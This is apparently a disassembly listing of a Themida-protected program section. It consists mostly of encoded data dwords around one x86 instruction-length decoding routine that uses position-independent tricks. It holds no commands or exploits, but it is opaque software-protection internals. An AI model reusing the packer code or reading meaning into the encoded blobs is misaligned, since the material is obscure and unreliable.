		dd 8EA1858Dh, 0D0FF005Bh, 0CC25A61h, 72B58B00h,	8B07DE24h
		dd 0DE246A85h, 6EBD8307h, 7DE24h, 7840Fh, 6890000h, 2E9h
		dd 0CF068800h, 2 dup(0)
		dd 60D48B52h, 8908428Bh, 0DE247285h, 0F9B58D07h, 8D07DE24h
		dd 5B8EA185h, 61D0FF00h, 72858B5Ah, 0C207DE24h,	858B0004h
		dd 7DE2472h, 8589008Bh,	7DE2472h, 0CFh,	0B5896000h, 7DE24CFh
		dd 24CB8589h, 858D07DEh, 7D313D1h, 8944408Bh, 0DE250885h
		dd 3EB58D07h, 8D07DE25h, 5B8EA185h, 61D0FF00h, 24CF858Bh
		dd 8BC307DEh, 0DE24CB9Dh, 43B70F07h, 8BD8033Ch,	9D03785Bh
		dd 7DE24CBh, 324738Bh, 0DE24CBB5h, 7B8B5607h, 1C738B20h
		dd 24CBBD03h, 0B50307DEh, 7DE24CBh, 0FFC983FCh,	0CF9D8B41h
		dd 8B07DE24h, 0CB950317h, 8307DE24h, 28A04C7h, 840FC084h
		dd 0Fh,	850F033Ah, 0FFFFFFDCh, 0E7E94243h, 3AFFFFFFh, 0CD850F03h
		dd 5FFFFFFFh, 0B70FE1D1h, 48B0F04h, 0CB850386h,	8907DE24h
		dd 0DE24CF85h, 8BF08B07h, 81C18BCEh, 0DE2508BDh, 30000007h
		dd 0D850FC0h, 0C1000000h, 0FC2514E8h, 0E900000Fh, 8, 2512E8C1h
		dd 3FF8h, 2508BD8Bh, 0C8307DEh,	148B0607h, 24C28B07h, 8B813C81h
		dd 57840FC1h, 81000000h, 0DE2508BDh, 30000007h,	0D850FC0h
		dd 0C1000000h, 0FC250AE8h, 0E9003FFFh, 8, 2509E8C1h, 7FFFF8h
		dd 2Dh,	6088340h, 8000F7h, 840F0000h, 1Eh, 2508BD81h, 7DEh
		dd 840FC030h, 0Eh, 3FF825h, 808B00h, 83C06000h,	8DCF0608h
		dd 0DE247685h, 0F1858907h, 8D07D32Eh, 0DE250C85h, 0F9858907h
		dd 8D07D31Fh, 0DE24D385h, 31858907h, 0E907D30Ah, 12h, 2B9903FFh
		dd 3 dup(0)
		dd 57E90000h, 0AF000006h, 6906F202h, 5D12E6F6h,	0AB20D8E8h
		dd 600DE9F9h, 4B1EDAEAh, 1D2DA5B0h, 0B4C474D9h,	2434A744h
		dd 0B7C777D4h, 0B958573Fh, 5B5CF8CAh, 49AC8CBCh, 0FA738595h
		dd 0BC03848h, 6D8B9Bh, 13BC3E4Eh, 9A6694A4h, 80DF5E6Dh
		dd 6373E3CEh, 43B51395h, 2C9A5365h, 0BC6FDC1Ch,	0FC7D4CACh
		dd 7ED3665Dh, 10C32053h, 9A30FA00h, 11FCAF20h, 0DB6D8B9Bh
		dd 0F6620BEDh, 0E5CA14E6h, 0C2D289D6h, 18259936h, 1F707BBh
		dd 0D37D8427h, 7509537Eh, 0AC1B7853h, 0CBFD0DC1h, 6FA47C2Dh
		dd 0C9B26A18h, 6C1FB9FFh, 85B84F54h, 8E1D948h, 264168F8h
		dd 60E83CCDh, 75435303h, 14A37CF9h, 3EFA9E4Ch, 7B43E3h
		dd 49E30000h, 0B8738595h, 0B6D28C13h, 51915F7Fh, 72D1D8CCh
		dd 834AB0C0h, 55B3DFE2h, 0A523A7F9h, 0FD9A9813h, 0BCC1122h
		dd 2DBD8734h, 0B404E82Bh, 1, 86964954h,	1D4CFB74h, 0CE565F94h
		dd 19DFE90Ah, 0AF000B4h, 3BFA11F6h, 1E281BBAh, 4C5E537Fh
		dd 9FCE816Eh, 871840DEh, 9F2E9C58h, 3E7C8C40h, 5F70139Ah
		dd 8B6C95EBh, 5402EBCDh, 69088944h, 537FC59Ah, 0F8E0DAECh
		dd 819149D0h, 5969D677h, 6388D172h, 71EDDE0Ah, 8B3CB147h
		dd 61E4DF7Eh, 20A2537Fh, 2B9F50AAh, 5262D21Bh, 1CABD8A8h
		dd 45724D1Ah, 0C43444F6h, 51A7B727h, 0DF19299Ch, 0C67CDB62h
		dd 896644B6h, 9634C6D6h, 0ACB44324h, 263F180Eh,	67D3h
		dd 91497300h, 0D2DEE584h, 16A8537Eh, 775161D9h,	4959CC81h
		dd 15A2CFAFh, 0E6879446h, 537ED2DBh, 45B117ABh,	0D82232A8h
		dd 16B5C577h, 0D30BF697h, 0E77B537Eh, 0CDBA27D1h, 8984263Eh
		dd 605D263Eh, 0ED000000h, 0FC07A627h, 8A537ED2h, 950DC2F8h
		dd 49FA7385h, 72139239h, 537ED38Fh, 0B34573F7h,	0CA699EE3h
		dd 0B8B04858h, 616C827h, 6B6456F4h, 0C221ACBCh,	20BA0010h
		dd 0F9AE296Dh, 5CC57B5Dh, 0B4D9E1C8h, 4AB92E9Ah, 0F909C11Eh
		dd 228F29FFh, 10C320A5h, 1EADBA00h, 0BDE99446h,	14D25h
		dd 49DD0000h, 0B7768494h, 3D090314h, 0A97F7989h, 0EAF8EA00h
		dd 658A1656h, 0EAD0FAE2h, 0B7415105h, 2C0BC085h, 0E3626979h
		dd 0EDC0D084h, 537F6E16h, 2CCCEE70h, 438A6032h,	6195E0A2h
		dd 6FDFC0BDh, 1C8143D3h, 3B520E19h, 0B83BCA6Dh,	3C409D75h
		dd 2C3EF77Eh, 0C2AD21CEh, 32C60414h, 0FFF909BDh, 0FFF3710Ch
		dd 151F2560h, 2687666Ch, 78735756h, 0EB206521h,	3CADA4Ch
		dd 0DA159A60h, 0A513C77Ch, 1A2A9C51h, 0F9E454B3h, 1C73141h
		dd 219731C7h, 98A816B7h, 6D9A6562h, 0B58C2DACh,	2BA57569h
		dd 982A6979h, 0E9F9AD22h, 2335650Dh, 0EFAC7835h, 0BC000001h
		dd 0BD10E6BCh, 0C2064E1Ch, 0DC522F6h, 8B2DFBFDh, 2E0C9120h
		dd 1C8EEDFAh, 0BBE2AE0Ch, 6C66E792h, 9442A1E8h,	28874684h
		dd 0FB06A7B4h, 8B8CAE3Ch, 0EDD8D1F7h, 554CA735h, 4698F29h
		dd 9DA44552h, 0E98CADF3h, 6603F3D5h, 5D12E8F8h,	463DDCE9h
		dd 408CADF4h, 16E8C3Eh,	10BD3B4Bh, 926E8C9Ch, 83E45665h
		dd 0B10E0FBCh, 1ECFE9F9h, 0F858A0B0h, 5F6DADF2h, 7FEFh
		dd 0E8BC0F00h, 0DD3ABB12h, 2D605A6Ah, 4CD189EBh, 434E895Dh
		dd 0DFBCE1AEh, 79E39B13h, 4636AFCh, 61774151h, 32CDEAAh
		dd 0AB47AE40h, 66075967h, 0E25D4F48h, 34C388F8h, 2838A605h
		dd 80C2F8D2h, 8EF4DFD4h, 6E6A9172h, 0A9CE715Ch,	0F838DF35h
		dd 9BFF5C4Dh, 8769727Dh, 0A2FB9A31h, 0B07F54E2h, 9BD6E87Ah
		dd 4BA9B1DCh, 0CF86BE4Fh, 3943BBBh, 15000001h, 3FD3C572h
		dd 82B8090h, 17536582h,	7E35E6BCh, 72E38C6Eh, 6B626862h
		dd 70153FCAh, 3954F44h,	0AFAE5E75h, 37B48F2Eh, 0D3D26B77h
		dd 77384F32h, 9533376Bh, 12A96823h, 94156FDAh, 1C670EF5h
		dd 0D4E67879h, 0CB81DEDFh, 6E5C6CE0h, 0C335494Ch, 418C9C0Ah
		dd 986272E2h, 9B50A812h, 4EDD1B2Bh, 0FCA57EADh,	30F2E3BAh
		dd 0DE92B0ABh, 0AAE1D7F1h, 0EBD3809Bh, 4656CC2Bh, 3583974h
		dd 7B2A36C2h, 51163C63h, 39CE93D9h, 327DAC1Ah, 184FA875h
		dd 1052A624h, 9199142h,	426D0CBFh, 147544DEh, 9F985D46h
		dd 801453F2h, 1D58B8FAh, 22C34289h, 0E0FCC31Fh,	83556367h
		dd 0AE4C5CCAh, 9630C7B0h, 2C9AF9CCh, 614CDE1Ch,	0E0FCC362h
		dd 0A528A224h, 6FEFB304h, 465DD77Fh, 0C7E6B1ECh, 14881348h
		dd 0AE51F231h, 0F2F5E4C7h, 5C43496h, 0AD152762h, 390FE9F9h
		dd 0FD7EE670h, 0D2542FCEh, 30322089h, 0C827E28Ah, 0B0B20818h
		dd 40C10CE2h, 7ED2A2A1h, 0D8E2E453h, 279034D5h,	0E0142A62h
		dd 0A43AA154h, 0BA7D8425h, 9A0962A5h, 4EDC1E2Eh, 0B5C5737Ch
		dd 0E6CC6B03h, 62821A1Ch, 0CD85E263h, 3E6D3BBDh, 83615F43h
		dd 0FA793F43h, 7C2E198Dh, 616C5E6Ch, 4CF70CBEh,	44762C55h
		dd 75853996h, 6F5ACC81h, 3211B0BDh, 548360FDh, 7B527852h
		dd 0FD685BFAh, 8C1E8360h, 0AAE1CC2Eh, 0E477D53Ch, 0EAEDCB3Eh
		dd 19836605h, 62AE6D80h, 14B76695h, 0ED36D4F6h,	0BF308A82h
		dd 52F7FF0Fh, 0A726D4E4h, 751B3704h, 4771D598h,	0CA2936A6h
		dd 1CAE4C5Ch, 825BB291h, 966D0C92h, 0F092825Ch,	25A3276Eh
		dd 17A489D3h, 72869648h, 0BCCC7CDBh, 0A14E6C3Eh, 78DB1D2Dh
		dd 1Fh,	354C06A9h, 2A5272CCh, 38324D3Eh, 477157FFh, 14C82723h
		dd 0E159F604h, 27A127D1h, 49F7DB91h, 0FD728898h, 0EBF3949h
		dd 26B8D9Dh, 3BB44656h,	0CC817787h, 3BB44656h, 0CE7F7989h
		dd 44A94F5Fh, 0D6758393h, 57E38953h, 4BFh, 5FFB0100h, 8704EB83h
		dd 685C241Ch, 91h, 51240489h, 0C181E189h, 4, 8704E983h
		dd 895C240Ch, 0EC81241Ch, 4, 0BD242C89h, 7DE269Ah, 545DE889h
		dd 83241C8Bh, 0BA5204C4h, 8, 289DA01h, 8124148Bh, 4C4h
		dd 2434FF00h, 4C4835Bh,	582434FFh, 4C481h, 0D8E90000h
		dd 99FFF6DEh, 7FB8F9E5h, 307DE2Ch, 81E0FFC5h, 0F56D51B3h
		dd 0B7420FE9h, 3B0DEE4Fh, 7A1DFCC5h, 0BC237A70h, 9C7EFADBh
		dd 2A395E71h, 0D670CBA7h, 2202CA1h, 0E80C15F9h,	0EF77EA17h
		dd 5E18401Eh, 730612F8h, 0B417B6E0h, 4A300E06h,	823EAF9Fh
		dd 0A23DAF55h, 0CC6B67DDh, 661EC51Dh, 0B82AE1B1h, 21F3A36Dh
		dd 4207B77Fh, 0F87BCB3Bh, 0D7FD1A7Eh, 7080598Bh, 0F032278Bh
		dd 0E0D0B7FFh, 4A1CB30Bh, 37004F86h, 0F73D1B3Ch, 39321A09h
		dd 1D547A5Bh, 2F477DF8h, 46F8A534h, 93319BD2h, 0C6B7153Bh
		dd 0C321A3Bh, 72321A33h, 71D1BC00h, 62CA06F0h, 4BDA45CEh
		dd 1321A3Bh, 0EDEBB2DFh, 74B144CEh, 0E3E1399Ah,	5FB6153Bh
		dd 53321A3Bh, 9FDA493Bh, 6E321A3Bh, 0AE69D960h,	12363E67h
		dd 0DD363E7Fh, 0A7321A3Bh, 8E0FD968h, 39312BD2h, 9C34F33Bh
		dd 0F9C11A3Bh, 0A525BB62h, 0BE509FB6h, 48541DE5h, 0B2AA74F2h
		dd 2CC3AD34h, 0CEB97AABh, 9C3212D3h, 0DE4FC43Bh, 7F657595h
		dd 0C9C1918Eh, 9C884A5Ah, 74486816h, 72229534h,	3CDA1A3Bh
		dd 98321A3Bh, 0D5A64C2Eh, 0F1FA5582h, 16BF4036h, 0CEEC377Fh
		dd 0E4321CD2h, 0C15E143Bh, 0A9FB9860h, 847A4A84h, 5FDB4A3Bh
		dd 85321A3Bh, 80378333h, 0EF521D7Bh, 0E63093Fh,	0BBBBD0C4h
		dd 14F39BABh, 633E9C7Ah, 9D3EABAEh, 7632703Ch, 933219D3h
		dd 0A6B3A3Bh, 0C07E9362h, 56769B3Fh, 3932033Fh,	5F635B3Bh
		dd 0C8DC8A06h, 4652F157h, 10CADAB0h, 1A21AB86h,	0ED471A3Ch
		dd 550FA7B8h
		dd 4D321DE8h, 17614A22h, 4A48A2FBh, 0A2BB1A3Bh,	94E1023Eh
		dd 0E13B87B6h, 37CD1DE0h, 0CFB14260h, 3EE13D06h, 0CC256E3Bh
		dd 4A48A268h, 0A2BB1A3Bh, 94E1023Eh, 0EDCA87B6h, 37CD1DE0h
		dd 72584260h, 3931F26Dh, 0C2121A3Bh, 3ABB44F8h,	63B31E1Fh
		dd 93251E1Fh, 9F741A3Bh, 0BD7B3FF8h, 0F4887C48h, 36F29119h
		dd 11CAD58Ch, 901F56A6h, 53B7973Ch, 9C35C43Bh, 0C93215B5h
		dd 0E438F33Bh, 6E9D1A3Bh, 565DEC47h, 5D7A3375h,	4E58CAC4h
		dd 2731F26Bh, 0CB121A3Bh, 8DBB42F8h, 0A0B31E1Fh, 72251E1Fh
		dd 69721A3Bh, 1D9A46F8h, 8A8C7CE7h, 28F2110Ch, 93327DBFh
		dd 9C32703Bh, 0E43219D3h, 0B16F3A3Bh, 1D5E9366h, 0B8769B3Fh
		dd 4E32003Fh, 0E4675F3Bh, 0AC6EA2E0h, 0C60879BDh, 79BFCB8Ch
		dd 75E1578Ah, 4B8B748Dh, 24749650h, 4E321A38h, 27389D34h
		dd 96DB1A3Bh, 0E2321A3Bh, 7CAC77F1h, 72279E34h,	0B33D1A3Bh
		dd 9C321A34h, 4E3213D3h, 9ED4E23Bh, 14C966B4h, 366C3898h
		dd 2F8515D8h, 5F6687B6h, 478B1DE5h, 1112F2B6h, 90326EBEh
		dd 2722F33Ch, 84321A3Bh, 0F9C2D320h, 3084E21Fh,	7B48CCA9h
		dd 0E9CD7FF4h, 74631A51h, 4E321A38h, 7EF1431Bh,	971656B2h
		dd 0CD165EBAh, 0E4321A23h, 0EAF14B7Ah, 4F05BB42h, 5C39D5B0h
		dd 4E699E34h, 53871A3Bh, 0DE8387B6h, 0C9581DE8h, 0E431F26Ah
		dd 2B121A3Bh, 75BB43F8h, 0D8B31E1Fh, 4E2B1E1Fh,	76731A3Bh
		dd 0F84FA1F8h, 201854A5h, 0E4321A29h, 0F2BE4A98h, 1F0ACD5Ah
		dd 0F243B917h, 0B20343DCh, 9954765Fh, 7DB36961h, 0BCB94344h
		dd 0E4321B83h, 80B24B3Bh, 0DACD451Dh, 448DA84h,	17AF971Bh
		dd 4135C416h, 16BFE9B0h, 0CEEC1A4Fh, 0C945C4BAh, 0A2CD3E62h
		dd 3926F35Bh, 41451A3Bh, 0E32542Fh, 0C0025351h,	7D7D5000h
		dd 944D50F0h, 0EB60EFE0h, 72321ABEh, 3253453Bh,	0F7B615FBh
		dd 41321A3Bh, 27321AB2h, 22AF973Bh, 0C635C976h,	0E43215BCh
		dd 7238F33Bh, 706C1A3Bh, 0E41AC597h, 0DE2BB533h, 248AE8B0h
		dd 0F9321A3Bh, 0CADA4F3Bh, 0C4321A3Bh, 0FB6FD966h, 0B8363E57h
		dd 81363E7Fh, 0B321A3Bh, 516ED96Eh, 0BA08FD42h,	0CD754F87h
		dd 7CDE3B0h, 723214D3h,	0E3CC283Bh, 379EAFF7h, 0FF1DFD6Fh
		dd 0A6AE4F10h, 0C1808DE1h, 9A71401Bh, 696BD2B0h, 0AC1F5886h
		dd 13BF973Ch, 2435C40Ah, 0C4794646h, 21039F08h,	5C191DE8h
		dd 0B630F3FAh, 0E55F6687h, 0B6478B1Dh, 0BE1112F2h, 3C90326Eh
		dd 3B2722F3h, 8384321Ah, 0A4F305E9h, 8A0FC08Bh,	16h, 0AE960h
		dd 0A1BB0000h, 3779A661h, 0BEFE2EBEh, 0BBD6CB8h, 0F78A6128h
		dd 6AC38Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 865EF8C3h, 0F6816660h, 0D6BF2EF4h, 6128BAD2h
		dd 0CA81C08Bh, 1E051497h, 0EBB3E181h, 0BD836C6Ch, 7D313B1h
		dd 83097500h, 0D3273DBDh, 19740007h, 0C08B5350h, 47AB8h
		dd 0C9858900h, 8D07D309h, 0DB28709Dh, 5BD3FF07h, 3DBD8358h
		dd 7D327h, 53501774h, 47AB8h, 0C9858900h, 8D07D309h, 0DB25119Dh
		dd 5BD3FF07h, 13E858h, 0F0A50000h, 0D7EB1E9Ch, 46DB3812h
		dd 2200E068h, 0C90A0D55h, 68C0F61h, 81000000h, 66F365D6h
		dd 0D08B5E02h, 0C8E9C08Bh, 88000001h, 7	dup(88004188h)
		dd 4188h, 4 dup(0)
		dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h
		dd 888888h, 0
		dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h
		dd 3C98802h, 88001002h,	88001188h, 11888888h, 44111111h
		dd 16h,	880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h
		dd 88080888h, 888888h, 0
		dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h
		dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h
		dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h
		dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h
		dd 88888888h, 26088888h, 643E362Eh, 0F0676665h,	0F3F2h
		dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0
		dd 3000000h, 14h dup(0)
		dd 0C2000000h, 69660008h, 0FE8075h, 11h	dup(0)
		dd 0E9000000h, 353h, 0E855h, 815D0000h,	0DE33EDEDh, 85C76007h
		dd 7DE333Ah, 0
		dd 663E8166h, 0F850FA1h, 0C7000000h, 0DE333E85h, 607h
		dd 24E900h, 858D0000h, 7DE3342h, 92858D50h, 5007DE33h
		dd 0E8006A56h, 1Dh, 2510C483h, 0FFh, 333E8589h,	36107DEh
		dd 0DE333EB5h, 3A858B07h, 5D07DE33h
		db 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_67CB22
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_67CB2E
; ---------------------------------------------------------------------------


loc_67CB22:				; CODE XREF: Themida_:0067CB0Bj
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4


loc_67CB2E:				; CODE XREF: Themida_:0067CB1Dj
		push	ebx
		push	esi
		push	edi


loc_67CB31:				; CODE XREF: Themida_:0067CB86j
					; Themida_:0067CBA2j ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_67CB44:				; CODE XREF: Themida_:0067CB6Bj
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7DE34A4h
		lea	ebp, [ebp+7DE331Ah]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_67CB71
		inc	cl
		cmp	cl, 0Bh
		jb	loc_67CB44


loc_67CB71:				; CODE XREF: Themida_:0067CB60j
		cmp	cl, 0Bh
		jz	loc_67CBCE
		cmp	al, 66h
		jnz	loc_67CBAF
		cmp	byte ptr [ebp-5], 0
		jnz	loc_67CB31
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_67CBA7
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_67CB31
; ---------------------------------------------------------------------------


loc_67CBA7:				; CODE XREF: Themida_:0067CB94j
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_67CBAF:				; CODE XREF: Themida_:0067CB7Cj
		cmp	al, 67h
		jnz	loc_67CB31
		cmp	byte ptr [ebp-6], 0
		jnz	loc_67CB31
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_67CB31
; ---------------------------------------------------------------------------


loc_67CBCE:				; CODE XREF: Themida_:0067CB74j
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_67CBFA
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_67CBFF
; ---------------------------------------------------------------------------


loc_67CBFA:				; CODE XREF: Themida_:0067CBD9j
		movzx	edi, al
		shr	edi, 1


loc_67CBFF:				; CODE XREF: Themida_:0067CBF5j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7DE355Ch
		lea	ebp, [ebp+7DE321Ah]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_67CD81
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_67CCC5
		dec	ecx
		jz	loc_67CCA8
		dec	ecx
		jnz	loc_67CD18
		cmp	byte ptr [ebp-2], 0
		jnz	loc_67CD14
		cmp	byte ptr [ebp-5], 0
		jz	loc_67CC87
		mov	byte ptr [ebp+0Bh], 2


loc_67CC87:				; CODE XREF: Themida_:0067CC7Dj
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7DE35E8h
		mov	dword ptr [ebp+7DE333Ah], 1
		pop	ebp
		jmp	loc_67CD18
; ---------------------------------------------------------------------------


loc_67CCA8:				; CODE XREF: Themida_:0067CC62j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_67CCF2
		cmp	byte ptr [ebp-5], 0
		jz	loc_67CCF2
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_67CCF2
; ---------------------------------------------------------------------------


loc_67CCC5:				; CODE XREF: Themida_:0067CC5Bj
		cmp	byte ptr [ebp-2], 0
		jnz	loc_67CD0B
		cmp	byte ptr [ebp-5], 0
		jz	loc_67CCFA
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_67CCF2
		mov	[ebp+0Bh], cl


loc_67CCF2:				; CODE XREF: Themida_:0067CCACj
					; Themida_:0067CCB6j ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_67CD18
; ---------------------------------------------------------------------------


loc_67CCFA:				; CODE XREF: Themida_:0067CCD3j
		cmp	dl, 5
		jnz	loc_67CD18
		mov	[ebp+0Bh], dl
		jmp	loc_67CD18
; ---------------------------------------------------------------------------


loc_67CD0B:				; CODE XREF: Themida_:0067CCC9j
		cmp	dl, 6
		jnz	loc_67CD18


loc_67CD14:				; CODE XREF: Themida_:0067CC73j
		mov	byte ptr [ebp+0Bh], 3


loc_67CD18:				; CODE XREF: Themida_:0067CC69j
					; Themida_:0067CCA3j ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_67CD46
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


loc_67CD28:				; CODE XREF: Themida_:0067CD3Ej
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_67CD28
		mov	esi, edx


loc_67CD46:				; CODE XREF: Themida_:0067CD1Bj
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_67CD7B
		cmp	edi, 7Fh
		ja	loc_67CD7B
		test	bl, 38h
		jnz	loc_67CD7B
		cmp	byte ptr [ebp-7], 0
		jz	loc_67CD75
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_67CD78
; ---------------------------------------------------------------------------


loc_67CD75:				; CODE XREF: Themida_:0067CD66j
		push	1
		pop	eax


loc_67CD78:				; CODE XREF: Themida_:0067CD70j
		mov	[ebp-1], al


loc_67CD7B:				; CODE XREF: Themida_:0067CD4Aj
					; Themida_:0067CD53j ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_67CD81:				; CODE XREF: Themida_:0067CC2Bj
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_67CDAC
		dec	eax
		dec	eax
		jz	loc_67CDA2
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_67CDB4
; ---------------------------------------------------------------------------


loc_67CDA2:				; CODE XREF: Themida_:0067CD91j
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_67CDB1
; ---------------------------------------------------------------------------


loc_67CDAC:				; CODE XREF: Themida_:0067CD89j
		mov	al, [ebp-3]
		add	al, 4


loc_67CDB1:				; CODE XREF: Themida_:0067CDA7j
		add	[ebp-1], al


loc_67CDB4:				; CODE XREF: Themida_:0067CD9Dj
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_67CDDC
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_67CDC7:				; CODE XREF: Themida_:0067CDD6j
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_67CDC7


loc_67CDDC:				; CODE XREF: Themida_:0067CDBCj
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
aNec3IeS	db '3',7,',',7,'',0Dh,0
		align 4
		dd 0C641AD04h, 0C1BAF195h, 5BA420E6h, 14E92Dh, 0CBF80000h
		dd 0C36CFE6Ch, 5CE2237Dh, 35BC0909h, 499BB94Ah,	805825A7h
		dd 0C081C0F3h, 6559h, 0D22BF78Bh, 6290CE81h, 34FF4776h
		dd 0F3816602h, 0E9596ED1h, 11h,	0BD2E0F12h, 7148B9D9h
		dd 3FEEFB05h, 0B3878BF8h, 0B2E98104h, 0BB1BD194h, 41D97F6Dh
		dd 0EDE2C181h, 81FC5106h, 0F50A95F1h, 800F5050h, 0
a_qs		db '_Q',7,0
		db 2 dup(0), 75h
		dd 0FA23D5F9h, 48F1A83h, 10E910h, 6E9E0000h, 9283B2B6h
		dd 43CEE89Bh, 7591BDB6h, 0EA836076h, 3834BB01h,	4A4A442Ch
		dd 81DE8B4Ah, 0FF9B98FAh, 25850FFFh, 0E8000000h, 0Ch, 0C1C1EF91h
		dd 1C8274A3h, 4230BE01h, 9F016BBh, 22E95F25h, 0E7000000h
		dd 8F4A7B3Fh, 93CF8787h, 70BC66BFh, 0FF54E95Eh,	0CBD7FFFFh
		dd 3DB1494Dh, 0EE035520h, 4BCD8277h, 0DE892h, 0BD220000h
		dd 1AAA4B25h, 23DA2F8Ah, 565DE391h, 0E2E78166h,	66585EA1h
		dd 81ACA9BEh, 5C49C0h, 0C6816600h, 0BBF86Dh, 56000000h
		dd 334FF5Ah, 7E959h, 6D660000h,	9A883442h, 0A2E9819Fh
		dd 810226AAh, 3D8857E9h, 58D0F38h, 0BE000000h, 8A9EE13h
		dd 6BB5E981h, 665009A0h, 515EF78Bh, 678E681h, 48F6187h
		dd 5E918h, 51E10000h, 66AABCA8h, 0EB83F98Bh, 0BA605303h
		dd 6A6D8E96h, 5F616160h, 0FB81FC4Bh, 0FFFFA484h, 1C850Fh
		dd 8D0F0000h, 5, 484FF6BEh, 31E96Dh, 0CBC50000h, 0B6272BDBh
		dd 0E858B449h, 8E0F1165h, 9, 890FF860h,	0
		dd 0FF6BE961h, 0D439FFFFh, 7DE6B4FFh, 9FDC2628h, 14547AA3h
		dd 0E88F3E67h, 7, 22CA5ED4h, 5EA66087h,	0B6D38166h, 86C68106h
		dd 0B2000075h, 60C02BC2h, 0BE9h, 5A803F00h, 0F050178Fh
		dd 0FF221291h, 18F0Fh, 61FC0000h, 0E93034FFh, 9, 6D652C10h
		dd 0D489FFBFh, 81F95F8Fh, 0C44A33EFh, 3890F0Bh,	0F000000h
		dd 0EF81DEB7h, 31F66B99h, 156DB81h, 0EF8122EFh,	786A6A0Eh
		dd 0A1811CB9h, 81665702h, 8FD7CDCAh, 850F0604h,	3, 83CAB70Fh
		dd 81FC04E8h, 0FF8B04F8h, 0A5850FFFh, 66FFFFFFh, 0CE9D68Bh
		dd 0F8000000h, 103F451h, 7C809Eh, 0E9000000h, 1382h, 0DE3C1B68h
		dd 6224E907h, 5B68FFF8h, 0E907DE3Dh, 0FFF8621Ah, 0DE3FD368h
		dd 6210E907h, 0E668FFF8h, 0E907DE41h, 0FFF86206h, 0DE43BF68h
		dd 61FCE907h, 8568FFF8h, 0E907DE47h, 0FFF861F2h, 0DE49E468h
		dd 61E8E907h, 7368FFF8h, 0E907DE4Bh, 0FFF861DEh, 1ED0170Ch
		dd 9C529193h, 19D50A0Dh, 9955968Eh, 1BD3080Eh, 0CE50C558h
		dd 56D2DD91h, 0D34E5915h, 52D3DE90h, 12505D11h,	73F1DBA7h
		dd 0FBC42C32h, 3F43A6CCh, 903A522Bh, 0D8596823h, 0A978DA97h
		dd 6D464B6Ch, 541D42D4h, 20E1807Bh, 7E110FFFh, 0BB9D6487h
		dd 346CD7DAh, 0EFAC475Bh, 4DFC58F6h, 3A515F71h,	46D869C2h
		dd 0DC775819h, 0F65553F6h, 0ACEC8967h, 0E7665DF7h, 0FE434182h
